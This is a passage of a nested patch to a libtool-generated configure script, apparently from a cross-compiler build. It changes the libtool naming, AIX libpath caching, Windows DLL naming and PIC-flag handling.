- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8781,7 +9291,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -9079,8 +9589,6 @@ fi
+@@ -8464,8 +8970,6 @@ fi
lt_prog_compiler_pic=
lt_prog_compiler_static=
@@ -8499,7 +8530,7 @@ index 1c872c0db5f..fe938e6c99f 100755
if test "$GCC" = yes; then
lt_prog_compiler_wl='-Wl,'
-@@ -9246,6 +9754,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8631,6 +9135,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='--shared'
lt_prog_compiler_static='--static'
;;
@@ -8512,7 +8543,7 @@ index 1c872c0db5f..fe938e6c99f 100755
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -9308,7 +9822,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8693,7 +9203,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='-KPIC'
lt_prog_compiler_static='-Bstatic'
case $cc_basename in
@@ -8521,7 +8552,7 @@ index 1c872c0db5f..fe938e6c99f 100755
lt_prog_compiler_wl='-Qoption ld ';;
*)
lt_prog_compiler_wl='-Wl,';;
-@@ -9365,13 +9879,17 @@ case $host_os in
+@@ -8750,13 +9260,17 @@ case $host_os in
lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
;;
esac
@@ -8545,7 +8576,7 @@ index 1c872c0db5f..fe938e6c99f 100755
#
# Check to make sure the PIC flag actually works.
-@@ -9432,6 +9950,11 @@ fi
+@@ -8817,6 +9331,11 @@ fi
@@ -8557,7 +8588,7 @@ index 1c872c0db5f..fe938e6c99f 100755
#
# Check to make sure the static flag actually works.
#
-@@ -9782,7 +10305,8 @@ _LT_EOF
+@@ -9167,7 +9686,8 @@ _LT_EOF
allow_undefined_flag=unsupported
always_export_symbols=no
enable_shared_with_static_runtimes=yes
@@ -8567,7 +8598,7 @@ index 1c872c0db5f..fe938e6c99f 100755
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9881,12 +10405,12 @@ _LT_EOF
+@@ -9266,12 +9786,12 @@ _LT_EOF
whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
hardcode_libdir_flag_spec=
hardcode_libdir_flag_spec_ld='-rpath $libdir'
@@ -8582,7 +8613,7 @@ index 1c872c0db5f..fe938e6c99f 100755
fi
;;
esac
-@@ -9900,8 +10424,8 @@ _LT_EOF
+@@ -9285,8 +9805,8 @@ _LT_EOF
archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -8593,7 +8624,7 @@ index 1c872c0db5f..fe938e6c99f 100755
fi
;;
-@@ -9919,8 +10443,8 @@ _LT_EOF
+@@ -9304,8 +9824,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -8604,7 +8635,7 @@ index 1c872c0db5f..fe938e6c99f 100755
else
ld_shlibs=no
fi
-@@ -9966,8 +10490,8 @@ _LT_EOF
+@@ -9351,8 +9871,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -8615,7 +8646,7 @@ index 1c872c0db5f..fe938e6c99f 100755
else
ld_shlibs=no
fi
-@@ -10097,7 +10621,13 @@ _LT_EOF
+@@ -9482,7 +10002,13 @@ _LT_EOF
allow_undefined_flag='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -8630,7 +8661,7 @@ index 1c872c0db5f..fe938e6c99f 100755
/* end confdefs.h. */
int
-@@ -10110,22 +10640,29 @@ main ()
+@@ -9495,22 +10021,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -8673,7 +8704,7 @@ index 1c872c0db5f..fe938e6c99f 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -10137,7 +10674,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9522,7 +10055,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -8688,7 +8719,7 @@ index 1c872c0db5f..fe938e6c99f 100755
/* end confdefs.h. */
int
-@@ -10150,22 +10693,29 @@ main ()
+@@ -9535,22 +10074,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -8731,7 +8762,7 @@ index 1c872c0db5f..fe938e6c99f 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -10209,21 +10759,64 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9594,21 +10140,64 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# When not using gcc, we currently assume that we are using
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
@@ -8811,7 +8842,7 @@ index 1c872c0db5f..fe938e6c99f 100755
;;
darwin* | rhapsody*)
-@@ -10284,7 +10877,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9669,7 +10258,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -8820,7 +8851,7 @@ index 1c872c0db5f..fe938e6c99f 100755
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
-@@ -10292,7 +10885,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9677,7 +10266,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux9*)
if test "$GCC" = yes; then
@@ -8829,7 +8860,7 @@ index 1c872c0db5f..fe938e6c99f 100755
else
archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -10308,7 +10901,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9693,7 +10282,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -8838,7 +8869,7 @@ index 1c872c0db5f..fe938e6c99f 100755
else
archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
-@@ -10332,10 +10925,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9717,10 +10306,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -8851,7 +8882,7 @@ index 1c872c0db5f..fe938e6c99f 100755
;;
esac
else
-@@ -10414,23 +11007,36 @@ fi
+@@ -9799,23 +10388,36 @@ fi
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -8896,7 +8927,7 @@ index 1c872c0db5f..fe938e6c99f 100755
else
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -10515,7 +11121,7 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9900,7 +10502,7 @@ rm -f core conftest.err conftest.$ac_objext \
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
@@ -8905,7 +8936,7 @@ index 1c872c0db5f..fe938e6c99f 100755
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
else
allow_undefined_flag=' -expect_unresolved \*'
-@@ -10534,9 +11140,9 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9919,9 +10521,9 @@ rm -f core conftest.err conftest.$ac_objext \
no_undefined_flag=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -8917,7 +8948,7 @@ index 1c872c0db5f..fe938e6c99f 100755
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
-@@ -11112,8 +11718,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -10497,8 +11099,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -8929,7 +8960,7 @@ index 1c872c0db5f..fe938e6c99f 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -11146,13 +11753,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -10531,13 +11134,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -9002,7 +9033,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -11244,7 +11909,7 @@ haiku*)
+@@ -10619,7 +11280,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -9011,16 +9042,16 @@ index 1c872c0db5f..fe938e6c99f 100755
hardcode_into_libs=yes
;;
-@@ -12040,7 +12705,7 @@ else
+@@ -11415,7 +12076,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 12040 "configure"
+-#line 11415 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -12084,10 +12749,10 @@ else
+@@ -11459,10 +12120,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -9033,16 +9064,16 @@ index 1c872c0db5f..fe938e6c99f 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12146,7 +12811,7 @@ else
+@@ -11521,7 +12182,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 12146 "configure"
+-#line 11521 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -12190,10 +12855,10 @@ else
+@@ -11565,10 +12226,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -9055,7 +9086,7 @@ index 1c872c0db5f..fe938e6c99f 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12585,6 +13250,7 @@ $RM -r conftest*
+@@ -11960,6 +12621,7 @@ $RM -r conftest*
# Allow CC to be a program name with arguments.
lt_save_CC=$CC
@@ -9063,7 +9094,7 @@ index 1c872c0db5f..fe938e6c99f 100755
lt_save_LD=$LD
lt_save_GCC=$GCC
GCC=$GXX
-@@ -12602,6 +13268,7 @@ $RM -r conftest*
+@@ -11977,6 +12639,7 @@ $RM -r conftest*
fi
test -z "${LDCXX+set}" || LD=$LDCXX
CC=${CXX-"c++"}
@@ -9071,7 +9102,7 @@ index 1c872c0db5f..fe938e6c99f 100755
compiler=$CC
compiler_CXX=$CC
for cc_temp in $compiler""; do
-@@ -12884,7 +13551,13 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+@@ -12259,7 +12922,13 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
allow_undefined_flag_CXX='-berok'
# Determine the default libpath from the value encoded in an empty
# executable.
@@ -9086,7 +9117,7 @@ index 1c872c0db5f..fe938e6c99f 100755
/* end confdefs.h. */
int
-@@ -12897,22 +13570,29 @@ main ()
+@@ -12272,22 +12941,29 @@ main ()
_ACEOF
if ac_fn_cxx_try_link "$LINENO"; then :
@@ -9129,7 +9160,7 @@ index 1c872c0db5f..fe938e6c99f 100755
hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
-@@ -12925,7 +13605,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12300,7 +12976,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -9144,7 +9175,7 @@ index 1c872c0db5f..fe938e6c99f 100755
/* end confdefs.h. */
int
-@@ -12938,22 +13624,29 @@ main ()
+@@ -12313,22 +12995,29 @@ main ()
_ACEOF
if ac_fn_cxx_try_link "$LINENO"; then :
@@ -9187,7 +9218,7 @@ index 1c872c0db5f..fe938e6c99f 100755
hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -12996,29 +13689,75 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12371,29 +13060,75 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
;;
cygwin* | mingw* | pw32* | cegcc*)
@@ -9286,7 +9317,7 @@ index 1c872c0db5f..fe938e6c99f 100755
darwin* | rhapsody*)
-@@ -13124,7 +13863,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12499,7 +13234,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
;;
*)
if test "$GXX" = yes; then
@@ -9295,7 +9326,7 @@ index 1c872c0db5f..fe938e6c99f 100755
else
# FIXME: insert proper C++ library support
ld_shlibs_CXX=no
-@@ -13195,10 +13934,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12570,10 +13305,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
;;
ia64*)
@@ -9308,7 +9339,7 @@ index 1c872c0db5f..fe938e6c99f 100755
;;
esac
fi
-@@ -13239,9 +13978,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12614,9 +13349,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
*)
if test "$GXX" = yes; then
if test "$with_gnu_ld" = no; then
@@ -9320,7 +9351,7 @@ index 1c872c0db5f..fe938e6c99f 100755
fi
fi
link_all_deplibs_CXX=yes
-@@ -13311,20 +14050,20 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12686,20 +13421,20 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
prelink_cmds_CXX='tpldir=Template.dir~
rm -rf $tpldir~
$CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
@@ -9345,7 +9376,7 @@ index 1c872c0db5f..fe938e6c99f 100755
;;
*) # Version 6 and above use weak symbols
archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-@@ -13519,7 +14258,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12894,7 +13629,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
;;
*)
@@ -9354,7 +9385,7 @@ index 1c872c0db5f..fe938e6c99f 100755
;;
esac
-@@ -13565,7 +14304,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12940,7 +13675,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
solaris*)
case $cc_basename in
@@ -9363,7 +9394,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Sun C++ 4.2, 5.x and Centerline C++
archive_cmds_need_lc_CXX=yes
no_undefined_flag_CXX=' -zdefs'
-@@ -13606,9 +14345,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -12981,9 +13716,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
if test "$GXX" = yes && test "$with_gnu_ld" = no; then
no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
if $CC --version | $GREP -v '^2\.7' > /dev/null; then
@@ -9375,7 +9406,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Commands to make compiler produce verbose output that lists
# what "hidden" libraries, object files and flags are used when
-@@ -13743,6 +14482,13 @@ private:
+@@ -13118,6 +13853,13 @@ private:
};
_LT_EOF
@@ -9389,7 +9420,7 @@ index 1c872c0db5f..fe938e6c99f 100755
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
(eval $ac_compile) 2>&5
ac_status=$?
-@@ -13756,7 +14502,7 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+@@ -13131,7 +13873,7 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
pre_test_object_deps_done=no
for p in `eval "$output_verbose_link_cmd"`; do
@@ -9398,7 +9429,7 @@ index 1c872c0db5f..fe938e6c99f 100755
-L* | -R* | -l*)
# Some compilers place space between "-{L,R}" and the path.
-@@ -13765,13 +14511,22 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+@@ -13140,13 +13882,22 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
test $p = "-R"; then
prev=$p
continue
@@ -9425,7 +9456,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Internal compiler library paths should come after those
# provided the user. The postdeps already come after the
# user supplied libs so there is no need to process them.
-@@ -13791,8 +14546,10 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+@@ -13166,8 +13917,10 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
postdeps_CXX="${postdeps_CXX} ${prev}${p}"
fi
fi
@@ -9436,7 +9467,7 @@ index 1c872c0db5f..fe938e6c99f 100755
*.$objext)
# This assumes that the test object file only shows up
# once in the compiler output.
-@@ -13828,6 +14585,7 @@ else
+@@ -13203,6 +13956,7 @@ else
fi
$RM -f confest.$objext
@@ -9444,7 +9475,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# PORTME: override above test on systems where it is broken
case $host_os in
-@@ -13863,7 +14621,7 @@ linux*)
+@@ -13238,7 +13992,7 @@ linux*)
solaris*)
case $cc_basename in
@@ -9453,7 +9484,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# The more standards-conforming stlport4 library is
# incompatible with the Cstd library. Avoid specifying
# it if it's in CXXFLAGS. Ignore libCrun as
-@@ -13928,8 +14686,6 @@ fi
+@@ -13303,8 +14057,6 @@ fi
lt_prog_compiler_pic_CXX=
lt_prog_compiler_static_CXX=
@@ -9462,7 +9493,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# C++ specific cases for pic, static, wl, etc.
if test "$GXX" = yes; then
-@@ -14034,6 +14790,11 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -13409,6 +14161,11 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
;;
esac
;;
@@ -9474,7 +9505,7 @@ index 1c872c0db5f..fe938e6c99f 100755
dgux*)
case $cc_basename in
ec++*)
-@@ -14186,7 +14947,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -13561,7 +14318,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
;;
solaris*)
case $cc_basename in
@@ -9483,7 +9514,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Sun C++ 4.2, 5.x and Centerline C++
lt_prog_compiler_pic_CXX='-KPIC'
lt_prog_compiler_static_CXX='-Bstatic'
-@@ -14251,10 +15012,17 @@ case $host_os in
+@@ -13626,10 +14383,17 @@ case $host_os in
lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
;;
esac
@@ -9504,7 +9535,7 @@ index 1c872c0db5f..fe938e6c99f 100755
#
# Check to make sure the PIC flag actually works.
-@@ -14312,6 +15080,8 @@ fi
+@@ -13687,6 +14451,8 @@ fi
@@ -9513,7 +9544,7 @@ index 1c872c0db5f..fe938e6c99f 100755
#
# Check to make sure the static flag actually works.
#
-@@ -14489,6 +15259,7 @@ fi
+@@ -13864,6 +14630,7 @@ fi
$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
@@ -9521,7 +9552,7 @@ index 1c872c0db5f..fe938e6c99f 100755
case $host_os in
aix[4-9]*)
# If we're using GNU nm, then we don't want the "-C" option.
-@@ -14503,15 +15274,20 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+@@ -13878,15 +14645,20 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
;;
pw32*)
export_symbols_cmds_CXX="$ltdll_cmds"
@@ -9547,7 +9578,7 @@ index 1c872c0db5f..fe938e6c99f 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
$as_echo "$ld_shlibs_CXX" >&6; }
-@@ -14774,8 +15550,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -14149,8 +14921,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -9559,7 +9590,7 @@ index 1c872c0db5f..fe938e6c99f 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -14807,13 +15584,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -14182,13 +14955,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -9632,7 +9663,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -14904,7 +15739,7 @@ haiku*)
+@@ -14269,7 +15100,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -9641,7 +9672,7 @@ index 1c872c0db5f..fe938e6c99f 100755
hardcode_into_libs=yes
;;
-@@ -15363,6 +16198,7 @@ fi
+@@ -14728,6 +15559,7 @@ fi
fi # test -n "$compiler"
CC=$lt_save_CC
@@ -9649,7 +9680,7 @@ index 1c872c0db5f..fe938e6c99f 100755
LDCXX=$LD
LD=$lt_save_LD
GCC=$lt_save_GCC
-@@ -18554,13 +19390,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+@@ -17770,13 +18602,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
@@ -9670,7 +9701,7 @@ index 1c872c0db5f..fe938e6c99f 100755
STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -18575,14 +19418,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+@@ -17791,14 +18630,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
@@ -9689,7 +9720,7 @@ index 1c872c0db5f..fe938e6c99f 100755
DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -18615,12 +19461,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+@@ -17831,12 +18673,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
@@ -9703,7 +9734,7 @@ index 1c872c0db5f..fe938e6c99f 100755
file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -18659,8 +19505,8 @@ old_archive_cmds_CXX='`$ECHO "$old_archive_cmds_CXX" | $SED "$delay_single_quote
+@@ -17875,8 +18717,8 @@ old_archive_cmds_CXX='`$ECHO "$old_archive_cmds_CXX" | $SED "$delay_single_quote
compiler_CXX='`$ECHO "$compiler_CXX" | $SED "$delay_single_quote_subst"`'
GCC_CXX='`$ECHO "$GCC_CXX" | $SED "$delay_single_quote_subst"`'
lt_prog_compiler_no_builtin_flag_CXX='`$ECHO "$lt_prog_compiler_no_builtin_flag_CXX" | $SED "$delay_single_quote_subst"`'
@@ -9713,7 +9744,7 @@ index 1c872c0db5f..fe938e6c99f 100755
lt_prog_compiler_static_CXX='`$ECHO "$lt_prog_compiler_static_CXX" | $SED "$delay_single_quote_subst"`'
lt_cv_prog_compiler_c_o_CXX='`$ECHO "$lt_cv_prog_compiler_c_o_CXX" | $SED "$delay_single_quote_subst"`'
archive_cmds_need_lc_CXX='`$ECHO "$archive_cmds_need_lc_CXX" | $SED "$delay_single_quote_subst"`'
-@@ -18687,12 +19533,12 @@ hardcode_shlibpath_var_CXX='`$ECHO "$hardcode_shlibpath_var_CXX" | $SED "$delay_
+@@ -17903,12 +18745,12 @@ hardcode_shlibpath_var_CXX='`$ECHO "$hardcode_shlibpath_var_CXX" | $SED "$delay_
hardcode_automatic_CXX='`$ECHO "$hardcode_automatic_CXX" | $SED "$delay_single_quote_subst"`'
inherit_rpath_CXX='`$ECHO "$inherit_rpath_CXX" | $SED "$delay_single_quote_subst"`'
link_all_deplibs_CXX='`$ECHO "$link_all_deplibs_CXX" | $SED "$delay_single_quote_subst"`'
@@ -9727,7 +9758,7 @@ index 1c872c0db5f..fe938e6c99f 100755
file_list_spec_CXX='`$ECHO "$file_list_spec_CXX" | $SED "$delay_single_quote_subst"`'
hardcode_action_CXX='`$ECHO "$hardcode_action_CXX" | $SED "$delay_single_quote_subst"`'
